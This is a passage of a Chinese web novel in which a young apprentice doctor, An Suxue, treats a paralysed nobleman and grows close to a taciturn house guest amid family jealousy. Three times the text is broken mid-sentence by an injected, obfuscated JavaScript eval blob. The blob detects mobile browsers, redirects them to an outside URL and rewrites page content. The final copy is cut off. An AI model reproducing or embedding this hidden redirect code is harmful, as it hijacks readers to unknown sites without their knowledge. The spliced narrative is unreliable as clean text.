…… 下午时候,谢府的人来请大夫,正在铺子里帮忙抓药的安素雪赶忙应声:“稍等,我抓完这幅药就过去。” 来人是个脸生的丫鬟,她道:“不劳烦安大夫,让陈大夫去就成。” 陈山刚好送走一位病患,便提着药箱去了。 “之前不都是你去给谢公子看诊吗?怎么今日不用你了。” 陈香玉说起风凉话,“难道是觉得你医术不精?” 说了几句,安素雪不应声,陈香玉觉得无趣便也不开口了。 可这几句话却让安素雪心里堵得慌。 论谁被说能力不行都会愤怒难过,安素雪转身去了后院,切药的时候心不在焉,好好的甘草被她弄碎了。 地上都是碎屑,她蹲下用手一点点捡起来。 院子里另外一个人看着她古怪举动并未出声,俩人各自安好。 前院。 陈山匆忙回来,陈香玉问:“爹,这么快啊。” 回想起方才在谢府的所见所闻,陈山擦了一把额头的冷汗。 明明全府上下不少人,可俱是一言不发像是提线木偶一般,气氛古怪诡异。等到了正房,陈山连屋都没进去,就听屋里的人怒声喊滚。 “谢公子无事。” 陈山琢磨着,要是他有事早就叫他看诊了。 …… 来医馆看病的人越发多,陈山时刻提醒她们戴好面纱,等晚上准备回后院时候,将面纱取下清洗,在院子里晾一晚,第二日便能戴。 刚关上医馆的门,就听砰砰的敲门声。有人喊:“安大夫在吗?安大夫,我家主子有请。” 陈山回去照看小竹子,陈香玉则是自告奋勇去给季飞白熬药,安素雪擦干手上的水珠过来开门,就见是个面熟的谢府丫鬟。 “安大夫,我们主子不舒服,请随我走一趟。” 与其他人请大夫上门相比,来人不算客气。但安素雪并未往心里去,反而觉得是有急事,询问道:“谢公子现在如何?” “大夫去了便知,快随我来。” 立刻拿着药箱跟上。 这座城池不算富裕繁华,到了夜里大多关了铺子,日出而作日入而息。所以进了谢府灯火通明,显得和这里格格不入。 顺着明亮的路往里走,就算没人引路,安素雪也能轻车熟路的来到正房。 不出意料,红袖和添香在门外守着,见到安素雪,添香急忙过来嘱咐,红袖则是恨恨的看她一眼。 “主子,”红袖敲门,“安大夫来了。” “叫她进来。” 这是她第一次夜里来上门看诊,密不透风的窗帘显得合理起来,屋内烛火通明,青年正坐在轮椅上,手里捧着一本书籍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14555089|155415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 作为大夫,安素雪自然上下打量一番,可看他气定神闲,不像是病了的样子。 难道是伤口又不好了?下意识的朝着他右手望过去,见纱布还在,想来没有沾水。 “安大夫,坐。” 红袖默不作声的退了出去,关上门时听见谢骧说话,隔着门板,她眼神怨毒,一口银牙都要咬碎了。 添香过来拉走她,小声劝道:“你多心了,安大夫不是那种人。” “是你心太大!”红袖不满,“主子乃是人中龙凤,在京城时哪个世家大族的姑娘不想贴上来?她一个小小医女,怎么可能不想够上主子?” 红袖嫉妒的冒酸水,添香还在替安素雪辩解。 “每次来看诊你都知道,安大夫何曾主动要求过什么?甚至看诊结束后都立刻走了,一点恋恋不舍的意思都没有。我看啊,你就是想多了,安大夫只是将主子当病患罢了。” 红袖白了她一眼。 “我们主子什么身份?她什么身份?我看你是被她纯良外表蒙骗了,谁知道她在屋里和主子说了什么做了什么,引得主子非指定她来看诊,旁人谁都不行。” 添香不吭声了。 红袖嘴巴厉害,她也说不过她。 回头望向正房,屋里没什么动静,也不知道主子叫安大夫来,到底是哪里不舒服。 …… “谢公子,你哪里不适?” “腿。” 他将书放在桌子上,随手指了指自己的腿。 之前安素雪过来仅限于给他收拾外伤,从未看过他的腿。他说他双腿毫无知觉,难道现在想让她治疗? 安素雪走了过来,道:“公子的腿是从什么时候没有知觉的?” “去年。” “短短一年。”安素雪欲要继续问,头顶上传来他的声音,“中毒所致,虽已解了毒,可依然没有知觉。” 这显然超出安素雪的能力,她实话实说道:“不瞒公子,恐怕我医术不到家,无法治好你。” “不试试怎么知道?” 这话没法反驳,安素雪便仔细检查一番。 腿上肌肉还在,应当有人给他按摩,用力按压皮肉时会留下红痕,除了他没有感觉外,与常人无异。 “很棘手。”她实话实说。 为了检查,她就蹲在他腿边,说话的时候手还放在他的小腿上。 不知是错觉还是什么,谢骧觉得触碰的皮肉处发痒,但很快就没了感觉。 安素雪将他裤腿拉下来,还好心的帮忙整理褶皱,这才站起来道:“还请公子容我想一想,至于治疗结果如何,我不敢保证。” 她眼睛生的极美。 杏仁明亮眼,黑白分明,犹如猎场里不谙世事的小鹿。哪怕猎人的弓箭对准了它,也只会歪着头好奇的看过来。 浑然不觉危险来临。 谢骧拇指和食指触碰在一起,摩挲着薄茧。 随口问道:“多大了?” 她来这几次能看出来是个会照顾人的,但面相上看年岁不大,兴许连男女之事都不懂。 “十六了,公子是觉得我年纪小医术不到家吗?” 安素雪如实阐述,“我五岁便学医,到如今也十一年了,寻常的病症我都会的,公子的腿着实特殊,我定当尽力,也会帮忙找其他能人。” 谢骧轻笑。 他生了一副好皮囊,只是整日憋在屋里又鲜少见日头,整个人沾了一身的阴郁之气,在昏黄的光亮下,像是从十八层地府里爬出来的美艳男鬼。 安素雪不知道他在笑什么。 笑她托大? 她方才已经实话实说不一定能治好的。 “既然谢公子无其他要事,那我就先回去了。” “安姑娘,你于推拿之术造诣如何?” “略懂皮毛。” 其实她谦虚了,应该是很会。 陈山曾教过她们姐妹,但因为用处不多,所以只教了个皮毛。陈家世代从医,留下的手札足够她学习一生,其中就包括推拿之术,她常常学至深夜,却苦于没有可练手的目标。 “如果安姑娘不介意,可否每日来为我按腿?报酬随你说。” 谢府占地如此之广,安素雪知道他财大气粗,但……他不是有那么多丫鬟吗? “公子何苦再花钱,我大可以将如何按摩穴位交给红袖与添香姑娘,她们贴身照料公子,也可方便每日多按几次。” 实事求是,不含半点别的情愫。 谢骧蹙眉看她。 果然年岁小,虽到了能嫁人的年纪,可心性却还稚嫩。 8. 第 8 章 陈家只有三间房能住人,当日安素雪从自己房间走的急,不少东西没拿,这天晌午,她便想着去取一些用品。 敲门等了片刻没人应声,安素雪便想着季飞白应当是不在的。 轻手轻脚的推开门,明明是回自己房间,可是却鬼鬼祟祟,宛若做贼。 转身将房门关上,安素雪便要往衣柜那边去,刚走两步,她僵在原地。 极为缓慢的侧头看向床榻,就见不该在房里的人正躺在地上,一只胳膊还搭在床边,像是要起身的模样。 “你……” 对方朝她笑了笑。 这么多天来,少见的笑容。 安素雪也跟着笑,心想他好像也不是看起来那般不好接近。 “我方才敲门了,以为没人才进来的,那个,我拿点东西就走。” 季飞白还保持着那个怪异的姿势不变,安素雪也不好问他在做什么,便先去衣柜里取了衣服,找了个包裹包好。 要走的时候,安素雪想着总得说点什么吧,转过身,捏着包裹的手收紧,她客气道:“汤药你喝着如何?” 他内伤不重,喝了三天后原来那副药方就不适用了,陈山让安素雪调一副,今日正好是新方子的第一天。 “苦。” 安素雪一愣。 双目怔愣之下越发的圆润,红唇微张,带着几分傻气。 “还行。” 季飞白改了口,然后搭在床上的手放在另外一只胳膊上,安素雪这才注意到他左臂以诡异的姿势垂在那。 “脱臼了?”安素雪立刻放下包裹,“别动别动,我来帮你。” 肯定疼死了,他是怎么忍着一声不吭的。 “我自己就可以。” 等安素雪走过来,季飞白大掌捏着自己,薄唇紧抿手上用力,只听咔嚓一声,他右胳膊又恢复如常,支撑着爬了起来。 没想到他自己真的可以。 可这不是普通的问题,是胳膊脱臼! 安素雪失态,“你以前自己接过?” 动作熟练,看起来不像是第一次。 “嗯,手熟了。” “还有其他地方吗?我帮你检查一下吧。” 她当大夫惯了,下意识的问出口。 季飞白眼神淡淡的看她,“不必。” …… 和这个暂居在她家的人接触不多,安素雪也说不上他是个什么样的人。 就是觉得他有点拒人千里之外的气质,也或许是因为那张俊脸着实俏的不同凡响,所以,她有时候会多看他两眼。 陈家人都有自己的事情要忙,季飞白每日饭后就坐在院子里,他身材颀长,躺在摇椅上腿支出来不少,一下下的蹬着,倒是自得其乐。 晾晒药材是个苦差事,寻常医馆随意的晾晒好,反正最后熬煮在一起喝汤也不咀嚼药材,但陈山精益求精,觉得将其切成小片晒干,既能长久保存又能保持药效。 安杏花揽了这个活计,安素雪心疼娘,常常过来帮忙,还能照顾小竹子。小孩一天比一天大,慢慢开始说话,先喊爹后喊娘,这几天隐隐会叫姐姐了。 晌午暖和时候就会让孩子出来,安杏花道:“安安,你照看好弟弟,娘去做饭。” “放心吧。”安素雪笑着弯腰逗小孩,小竹子咯咯笑。 “让我看看谁在笑啊。” 不见其人,先闻其声。 罗武兴高采烈的从前厅过来,这两天他帮家里送酒水,昨个出了趟远门今日才回来,刚到家就迫不及待的来见安素雪。 “罗武,你回来了。” 笑眼弯弯的姑娘站在那,手边是个坐在凳子上的奶娃娃,在那一刹那,罗武仿若看见他们婚后生活。 他出门挣钱养家,她在家相夫教子。 “安安,我和你说,我……他是谁?” 新做的衣服是普通的燕青色,可穿在季飞白身上好像料子都变得昂贵起来。 他毛发旺盛,不止长了一头乌黑浓密的头发,眉毛更是不描而黑,和书中所言“剑眉星目”完美吻合。 随意的抬起眼帘朝着罗武方向看了一眼,又半分不在意的继续晒太阳。 五官深邃样貌俊朗的少年引发罗武的危机感。 “安安,他是谁啊?怎么以前没见过。” 不止如此,还堂而皇之的躺在陈家的院子里。 “是我家的亲戚,过来暂住。” 罗武一直盯着季飞白看,安素雪觉得不大好,于是拉着他走到一边叙话。 罗武抱起小竹子边逗弄边道:“最近好日子多,城外村子里有办喜事的,定了不少酒水,我和大哥过去送,耽搁了两天没过来。” 他不说,安素雪还真没注意他们两天没见了。 着实是因为她也忙的厉害,医馆的生意不错,还时不时有人请她上门,夜里还要练习针灸,充实忙碌,想不起别的事情。 “小竹子,你想不想哥哥啊?” 他话是对小孩说,眼睛却盯着安素雪看。 “肯定想你了,就爱和你玩。” 罗武力气大能一直抱着,还让小竹子骑着他脖子玩,在院子里跑来跑去,逗的小竹子笑的脸蛋红彤彤。 安素雪边晾晒药材边笑着看他们,瞧见陈香玉端着药碗过来,笑吟吟朝着季飞白走了过去。 小竹子和罗武哈哈笑,俩人的笑声掩盖住那边的对话,安素雪没听真切,只能看见陈香玉放下药碗,气呼呼的走了。 冷不防季飞白转过头,有种听人墙角被抓包的紧迫感,她一时不知道如何应对,一脸呆滞模样。 季飞白忽然笑了一下,继而侧身拿过药碗,仰着头,修长的脖颈喉结滑动,一饮而尽。 …… 罗武走的时候从怀里掏出几个糖块,说是办喜事那户人家给的。安素雪原本都塞在弟弟的怀里,但想了想,拿着一块走到季飞白身边。 “喜糖,沾沾喜气。” 季飞白抬眼看她却不说话,她就把糖块放在一边的桌子上,然后抱着困顿的小竹子进屋去了。 吃完晌午饭,安杏花哄着小竹子睡觉,安素雪将外面晾干的弟弟衣服报进来,一件件叠的整齐。 “娘,他为什么受那么多伤呢?” 那日落魄损伤的样子历历在目,震撼安素雪许久。 “来的路上遇见了马贼,幸好这孩子会功夫,否则还不一定会怎么回事。” 安杏花拍着孩子,继续轻声道:“安安,你看他是不是长相和咱们不一样?” 眉眼深邃,鼻梁挺拔。 最重要的是,他有一双琥珀色的,让人看之沉醉的眼眸。 “他娘有西戎血统,听说他外祖是西戎人。不得不说,虽然他皮肤黑了点,但长相着实英俊。” “也不算黑,”安素雪低眉道。 “对对,不算黑,是那种浅蜜糖色。” 本朝更喜欢面若冠玉的郎君,按理来说蜜糖色的肌肤该不好看才是,可他坐在那,无端的让人觉得有种野性美。 “飞白这孩子不善言辞,但也能想到一路以来的艰辛,就是不知道他家里让他大老远的过来这边是为什么。” “信里没说吗?” 安素雪知道家里收到了几封信。 “只说什么让其锻炼心性和品格,要我说,飞白十六岁,合该去念书。他家里是做官的,往后他也跟着走上仕途多好。说来也怪,他家里没再来过消息了,也没见飞白往家里传信。” 这是别人的家事,他们不好多说。 第二天一早,陈山让安素雪帮忙熬药。 “是飞白的药,安安费心照看一眼。” 之前一直都是陈香玉自告奋勇熬药的,怎么今日她不熬了? 陈山叹气:“俩人好像闹别扭了。” 原来是这样,怪不得早上她起床的时候陈香玉鼻子不是鼻子,眼睛不是眼睛。她还以为是她哪做的不好,惹的大姐生气。 “好,我这就去。” 熬药而已,安素雪每日除了看诊之外,也要干晒药材和熬药这等杂活的,甚至忙碌时候能同时照看十个药锅。 熬 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这些日子以来,安素雪一直都是懂事体贴照顾家人的姑娘,从未见她失态的时候,哪怕被陈香玉刁难,她也只是笑笑。 可现在竖眉瞪眼,明显是又气又恼。 “我还当你不会生气。”他手臂放低,安素雪趁机扑了上去一把夺走东西,然后退后半步,面带谨慎的看他。 有了这一遭后,安素雪和季飞白的关系变得微妙起来。 不知道是安素雪的错觉还是怎么回事,她总觉得季飞白看是冷淡不爱说话,实际上最是能惹人生气。 比如安素雪熬药时不小心烫了手,安杏花急忙过来:“怎么这么不小心啊,过来我看看。” “娘,我没事,你快去照看小竹子,他要从凳子上掉下来了。” 小时候就开始熬药,谁没烫手的时候。最严重的一次她手背烫出好大一个水泡。安杏花叫她去前面找烫伤膏药涂上,安素雪觉得没事,还没有指甲盖大,只是发红而已。 等安杏花抱孩子走了,坐在一边晒太阳的季飞白哼笑。 “你笑什么?” 她觉得他在嘲笑她。 季飞白起身,几步就跨到她面前,抓着她的手往旁边的水盆子里放。 “哎,你做什么?” 水盆里是浆洗过的弟弟衣服,要多投几遍水才能保证衣服不发硬,手进凉水里,烫伤处一股惬意舒适,可手腕处却疼的厉害,忙甩开他,捂着被握的发红的手蹙眉看他。 杏仁眼瞪的发圆,恼怒的模样。 啧。 季飞白双手抱胸,饶有趣味的看她。“烫的时候不疼?” “谁说不疼?”安素雪有点没好气,语气快速又愤怒。 季飞白颔首。 “疼就说,何必说不疼。” 说完这句话,他又回去躺下晒太阳,好像方才抓疼安素雪手腕的人不是他。 气的安素雪熬完了药就走,压根就不想看他。去前面找了烫伤膏药涂上,陈山还夸了句处理得当,明天就能好。 安素雪讪讪的没说话。 晚上,安素雪照例在房间拿着木头人摸穴位练针灸。她做事投入忘了时辰,陈香玉烦躁的翻身起来,喊道:“你还让不让人睡觉?” 本来心情就不好,不能顺利入睡更让陈香玉烦躁不已。 “抱歉。” 这才惊觉已经很晚了,安素雪熄了灯,陈香玉又嘀嘀咕咕说了几句,安素雪翻了个身,摸着木头人却怎么也睡不着。 待房间里陈香玉熟睡后,安素雪轻手轻脚的走了出来,她想着左右睡不着,不如来练习针灸之术。 银白月光照亮小院,她就坐在椅子上,默不作声的摆弄那些银针。 “你就这么没脾气?” 安素雪吓了一跳朝着声源望过去,这才看见季飞白坐在高墙上,颇为悠哉的垂着一条腿,右手撑在膝盖上,侧头看过来。 月色下琥珀眸子璀璨如星,他唇角噙着笑。 “对我不是挺凶的吗?” 9. 第 9 章 不知是月色正好,还是安素雪迷了眼,觉得此刻懒散的季飞白比白日里更有“人气儿”,不再疏离冷漠难以接近。 “对我不是挺凶的吗?”他说。 安素雪登时脸红,小声辩解:“我没有吧。” “有没有你自己知道。” 说完他侧躺在高墙上,悠然自得的仿若在自己床头。 安素雪咬了下唇不说话了。 索性坐下拿着银针练针灸。 季飞白也不言语,安素雪得空时候偷偷看他,发现他在抬头看月亮。 离家之人,说不定是想家了。 安素雪心软下来,好心提醒:“你若是写信,直接交给陈叔就好,他帮你转交给驿站的人。” “嗯。”对方淡淡的应了一声。 有他在,安素雪总觉得无法收心,索性回去睡觉了。 昨夜睡的太晚,翌日醒来时候陈香玉早就不见踪影。安素雪起身收拾自己,待出来时日头东出,发现比往常晚了半个时辰! 她匆忙赶去正房,见他们正在吃饭。季飞白见到她笑了一下,也不知道他在笑什么。 “想着让你多睡一会就没叫你,安安,坐下吃饭吧。”说话的是陈山,对安素雪向来慈爱。 安杏花给女儿盛了粥,陈家现在算是家底殷实,早饭也比普通人家丰盛。昨日就泡水的红豆熬了红豆粥,出锅时加了一大勺糖,粉糯的豆子甜津津的,入口轻易的抿开。 小菜也比之前丰富不少,还有卤的猪头肉,另外桌上放了一锅馒头和蒸饼。 以前他们家都吃的不多,有了季飞白之后每日饭量见长,他一个人能吃两碗粥四个馒头。 “你要是吃馒头就全吃完,掰一半剩下给谁吃?” 一早上陈香玉就心气不好,说话呛人,连安素雪掰块馒头都要数落。 “香玉!”陈山教训女儿,安杏花连忙道:“没事,快别说孩子了,吃饭吧。” 为人后娘不好做,安杏花对陈香玉一直客客气气的,就怕有人嚼舌根。 陈香玉哼了一声,陈山竖眉欲要再说她,安素雪忙拿起剩下的大半个馒头,笑着道:“我都能吃完,正好饿了。” 其他人吃完各自去忙碌,只有安素雪坐在桌子上,艰难的噎馒头。 她胃口不大平日里也吃的少,早就已经饱了的胃在拒绝进食,所以吃的格外艰难,几乎每一口都有种想吐的感觉。 “吃不完就不吃。” 一只大手夺过她手里的馒头,直接扔进桌下的桶里。 “哎,你!” 季飞白双臂抱在胸前,像是不认识一般上下打量她。 平日里看着挺机灵,谁成想空有一张机灵聪慧的脸。 “会被看见的!”安素雪紧张兮兮,赶忙朝外看过去。 院子里陈山和安杏花在晾药材,小竹子站在地上自己玩,陈香玉不在,应当是在前面照看铺子。 季飞白利落的将桌上剩菜饭也一并倒里面,直接将馒头盖住。 “谁会看见?”他反问。 安素雪不说话了。 …… 快晌午的时候罗家兄弟来了,罗武热情的和安素雪说话,围着她打转,活脱脱见到主人的小狗。 罗文则更深沉,直勾勾的看向季飞白,眼里的敌意深藏如蛰伏野兽。 陈家来了个俊朗少年的事情他从弟弟嘴里知道,当时罗武是这样说的:“大哥,那人长的可好看了,我长这么大就没见过长成这样的人!比对面那位谢公子还要好看!你说,安安会不会因为他长的好就对他有好感啊?” 不待罗文回答,罗武自顾自的道:“应该不能,他才来多久,我和安安可是青梅竹马一起长大的,情分自然不一样。” 罗文一言不发。 实际上,他也保不准安安的想法。 小时候安素雪就喜欢漂亮的东西,那时候罗文和罗武年岁小还相互较劲。这个给安素雪摘了一把黄花,那个就得摘两把,安素雪不看谁的花多,只看谁的花更鲜艳。 更别提长大之后,切药材时候都要切成好看的形状。 安安喜欢漂亮的东西,包括人。 远处躺着的少年显然如同罗武描述一般好看,不仅仅是样貌好,而且是与众不同的好看。 他闭着眼睛姿态慵懒,光是一个侧颜便俊美的惊心动魄。 罗文警铃大作。 待从陈家回来,罗文一脸慎重的拉着弟弟回房,严肃道:“你必须尽快赢得安安的心。” 见大哥紧张兮兮的模样,罗武也不免跟着惶恐。 “那我该怎么做?大哥,你帮帮我吧,等我把安安娶家里,到时候我们哥俩能日日看见她。” “我想想。” …… 罗家俩兄弟如临大敌愁云惨淡,陈家也不见得好到哪里去。 起因是有个人匆忙寻来,说是前几日请了安素雪去家看诊后,病患情况不仅没有好转,反倒加剧。 “已经咳了很久了!之前没看病的时候反而没这么严重!” 来的是个妇人,安素雪记得她,是她的丈夫患病,她上门给开了药,还帮忙针灸,当时效果立竿见影。 安素雪耐心的上前询问,那妇人不依不饶,眼看着有路人围观过来,安素雪道:“我同你去一趟,看看到底怎么了。” 陈山也一同去了,到的时候那个男人正靠在床边咳嗽,一张脸咳的如猪肝色,连句整话都说不出来,只能用袖子捂嘴咳。 妇人给他递了水,他喝了两口嗓子湿润咳的没那么厉害了,安素雪见状要上前看诊,陈山温和的拍她的肩膀,道:“我来看看。” “你都将人看坏了还想再看啊。”妇人厉声说了一句,安素雪第一次遇见这种事情脑袋发懵,两只手不由自主的扣着指腹嫩肉。 陈香玉嘁了一声。 细细算起来,她比安素雪学医更早,毕竟守着大夫老爹,想要走上从医之路更为容易。安素雪来他们家的时候大字不识,还都是陈山一个字一个字的教,学医也是从头开始。 可不知道为什么,明明落后她许多的安素雪,在她不知不觉中赶了上来,而且隐隐有超越她的架势。 陈香玉讨厌她。 安素雪不止抢走了她的童年玩伴,还抢走了陈山的关爱! 每次陈山都夸安素雪聪慧学的快,可那明明该是她的东西! 不管是赞美还是夸奖,都该是她的。 陈香玉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14555091|155415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 越发的讨厌安素雪,也讨厌她那副息事宁人的态度。 丝毫不留情的上前,陈香玉挤走安素雪自己凑在陈山身边看他下针。 一番辛苦之后,男人的咳声渐渐止住,陈山擦了下额头的汗,说道:“出此纰漏是我们过错,所以药钱就免了。药还是同之前一样,三碗水熬做一碗,饭后服用。” 往回走的路上,陈山还温声安抚她。 “你年岁小,出错也是在所难免,像我这个年岁还有出纰漏的时候,更何况你。安安莫要害怕,吃一堑长一智,往后记着,莫要再犯同样的错误便是。” 可她明明记得自己下的针是对的。 就在她要说话的时候,陈香玉先一步发言。“爹,她天天半夜练针灸,我看啊,就是天色太黑看不清,长此以往就扎错了穴位。” 安素雪张张嘴,无可辩解。 她确实每天晚上才练手,只因为白日里没有时间的。 低垂着脑袋,安素雪一声不吭,陈山有意安慰她,便在路边铺子买了几样糕点。“都是安安喜欢吃的,爹,你给我买烧鸡!” “好好,那我们买两只拿回去吃。” 三个人回去后,安杏花连忙问道:“怎么了,出什么事情了?怎么你们三个一起出门看诊?” 在家等消息的安杏花惴惴不安,受她情绪影响,怀里的小竹子正扯着嗓子哭,白嫩嫩的小孩哭起来脸蛋眉毛俱是通红,心疼的安素雪赶忙抱过去轻声哄着。 “你自己问安安吧。”陈香玉扔下这句话就去一边扯烧鸡吃去了,陈山笑笑说没什么大事,安杏花看向女儿。 “安安,你和娘说说,怎么了?” 焦急关切都写在眼睛里,原本平静和睦的氛围因为她犯错而变得动荡。 安素雪不喜欢改变,她不想因为自己让家里其他人难办。 于是她笑着含糊过去,那边陈山也不想让妻子担心,左右事情已经解决,没什么好说的。 他们一家人分吃一只,给季飞白单独拿了一只。 “飞白饭量大,少年人正是长身体的时候,多吃点。” 陈香玉翻了个白眼。 对外人比对自己姑娘还好。 安素雪是外人,季飞白也是外人。 …… 长大之后的陈香玉发现,她只要不太过分,那个继母总是会容忍她。 大抵是因为想要在街坊邻里面前赢个好名声,陈香玉乐得如此,自己过的更自在。 晚上睡觉,照例告诉安素雪快点熄灯。 “别做无用功了,有时间还不如多睡一会。”陈香玉说完翻了个身,安素雪已经吹灭了烛火,在黑暗里两只手紧紧握着衣袖。 夜不能寐,不知过去多久,索性起身出去。 今日正好是十五,银盘挂在天上,本该是欣赏月色的好时刻,安素雪却是没什么心思。 “到底是哪里出了差池?”她喃喃。 回忆许久也不记得自己做错了什么,安素雪咬咬牙,挽起自己的衣袖,右手拿着银针,按照记忆里为那人治病的步骤,逐一扎入穴道。 她不知道有间房的窗子半开着,躺着的悠哉之人看了过来,在看见她扎自己时,扬起眉梢,带着惊讶。 10. 第 10 章 那个男人病情加重是因为她针灸之术不到家。 所有人都是这样想,包括陈山,所以他才会安慰安素雪,说她年轻经验不足犯错在所难免。 难道真是她错了吗? 安素雪努力回忆,可怎么都觉得自己并没有做错。正因为如此,她才决定用自己试针。 扎针会疼。 有病的人扎针,他们心里期望通过受苦来获得之后的健康,带着期待去忍受,忍一忍便也过去了。 但没病的人扎针,纯粹是受罪。 安素雪针灸的手法还算不错,以前接受过针灸治疗的病患会别过头或者闭着眼睛,等针扎上去后笑着夸没什么痛感。 可自己给自己扎针…… 不远处开着窗的房间没点亮,与外面银白清冷相比,就显得昏暗不少。但季飞白看的清楚,她右手捏着银针,举起左胳膊,聚精会神目不斜视,眼睁睁看着银针扎入皮肉。 啧。 他还以为她是个温顺良朴的姑娘,怕是连蚂蚁都不敢踩死。没想到夜深人静,还能看见这出好戏。 季飞白起身,丝毫没有掩盖自己已经发现她的行径,直直的朝她过来。 安素雪听见动静吓了一跳,还以为是亲娘或者继父出来,连忙想要拔针。手没收好力道,针尖出来时带出了几滴血珠子。 月光如水,白皙的皮肤镀了一层冷色光,宛若一块上好的璞玉。 因此血色格外的刺眼。 “原来是你。”安素雪拉下袖子才看向来人,松了口气。 “你生病了?” 季飞白问她,不待她答话,他一跃上了墙头,一只脚支撑在墙上,另外一条腿垂下来,姿势慵懒的仿若在他自己床头。 这人怎么如此喜欢上高处? “没有,我就是练手。” 季飞白好像很赞同似的点头,月光下他的五官越发深邃,尤其是那双眼眸,继承来自外邦血脉,狭长眼尾上挑,清冷之中又带着让人难以忘怀惊心动魄的美。 安素雪不大敢看他的眼睛。 因为每次她都会感叹他眼睛颜色很漂亮,沉醉其中无法自拔。所以,她和他说话时总是盯着自己鞋尖,亦或者看向手边什么别的物件。 “哦?没生病扎针看的出效果?” 这话含了揶揄的意思,安素雪没听出来,她竟然认认真真的作答。“没有效果,只能辨认穴位是否正确。” “那你大可以找个病患来试试。”他说。 病患?安素雪眼眸一亮看向墙头的人。 这些日子他内伤已经好了,外伤还要再调理些时日,眼下他们二人之间,显然季飞白是更合适的人选。 季飞白扬眉轻笑,似乎在等着安素雪开口。 片刻后,安素雪点头:“你说的对,那只能等明日在找人,今日先这般算了。” 说完,她坐下,再次挽起袖子,将血珠擦拭干净继续下手。 “你有没有听过这么一句话,‘会哭的孩子有糖吃’。” 他从墙头轻巧的一跃而下,身材颀长的年轻郎君,几步就来到她面前,也不知道为何叹了口气,胡乱的挽起袖子,然后别过头。 “你……” “天色已晚,扎完回去睡觉。” 心里流淌过一阵暖流,安素雪忍不住翘着唇角站起来,轻声道:“没关系的,我晚睡惯了。” 季飞白嗤了一声。 “我说我要回去睡觉。” 安素雪:…… 收回心里那阵暖流,小安大夫变成一个没有表情的扎针人,一针针扎了下去。 “或许你落针可以快一些。” 在她扎第二针的时候,季飞白从她手上抽走银针,不等她反应过来,他已经给自己扎上了。 “你会针灸?” “不会。” 安素雪不信。 他扎的位置正正好好是穴位,如果没接触过不可能扎的这么准。还有,他之前竟然能给自己正骨,普通人怎么可能会? 不过,还有一个猜测。 “你以前总给自己安胳膊吗?” 既然他不是大夫,那就是久病成医,唯手熟尔。 季飞白低头看着她,俊朗的眉眼带了笑意。“我还会安腿,还会缝针。” 安素雪面无表情。 她就不该问这一嘴。 “喂,你方才扎了三针,怎么到我这就扎满了?” 一开始愁容满面的姑娘低着头偷笑,以为自己的小动作掩饰的很好,殊不知被他看在眼里。 “你不懂,扎完今夜你能睡个好觉。” 他睡的好不好安素雪不知道,只知道经过这晚她像是卸掉肩头重担似的,一觉到天亮。 第二天陈香玉都发现她心情好了,甚至在被阴阳怪气后还能笑着道:“大姐,今早吃桂花糕。” 家里都知道陈香玉喜欢吃。 美食当前,陈香玉哼了哼没多说。 这边一家子刚吃完饭,罗武就找上门,拽着安素雪去一遍叙话。 陈香玉不阴不阳说了句:“还是小妹广结善缘,瞧瞧,一大早就有人找。” 说完,还往季飞白的方向瞟了一眼,可惜对方转身回房,没看见他什么表情。 陈香玉跺跺脚,不甘心的去前院照看铺子了。 这边,罗武诚恳的邀请安素雪,是罗文想出来的好办法,他说:“你要让安安知道,你们之间不仅仅是青梅竹马,你更是拿她当心仪女子对待。” 罗武这人从小就憨,问:“大哥,那我该怎么做?” 罗文说让他邀请安素雪去听戏。 “前几天刚来的戏班子,就在本地停留半个月,你趁早去订个好位置,然后带安安娶,切记要照顾好安安,让她知道你在意她。” 是个好法子,所以罗武来了。 “明天恐怕不行,我有事,下次吧。” 罗武傻眼了。 垂头丧气的回去,将对话原封不对叙述一遍。 罗文皱眉:“今天和明天不行,你大可以约后天,后天不行,那就大后天,总不会日日都没时间。” “对啊,”罗武拍手,“我怎么没想到。” “我怎么和你是双生子?” 罗武沉默不说话,罗文还以为他这句话太重,弟弟本就没约到安安而不高兴,这句话无异于在他伤口上撒盐。只是他刚要开口,就听罗武憨声憨气。 “大哥,因为我们是一起出生的,而且长的一模一样,当然是双生子了。” 罗文沉默很久。 “按照原本计划恐怕不行了。” 罗武追着他屁股后头问:“什么意思啊?哎,大哥,大哥你别走啊。” …… 既然没约到人,那就改策略,先多在安素雪面前出现,而且还不能和以前一样,要变得更有男人味。 酒馆生意忙碌,罗文去帮爹娘做活,罗武没心思,一下午都在房里琢磨着“男人味”三个字,待日落西山后,他如醍醐灌顶般啊了一声,当即打开衣柜开始翻找衣服,换好衣服后还特意洗了脸和头发,不等头发干就梳起,大摇大摆的走了出去。 从罗家到陈家,虽然是挨着,但得从后院走到前院,饶了整整一大圈。 罗武按捺不住,打算故技重施从墙头跳过去,两只手刚扒住,腿正要使劲时,忽然手背上传来一阵剧痛。 “哎呦,谁踩我手!” 手痛立刻缩了回去,一抬头,见到墙头上露出半个身子的年轻男子,剑眉星目,风流倜傥。 “是你。”罗武看见他就气不打一处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 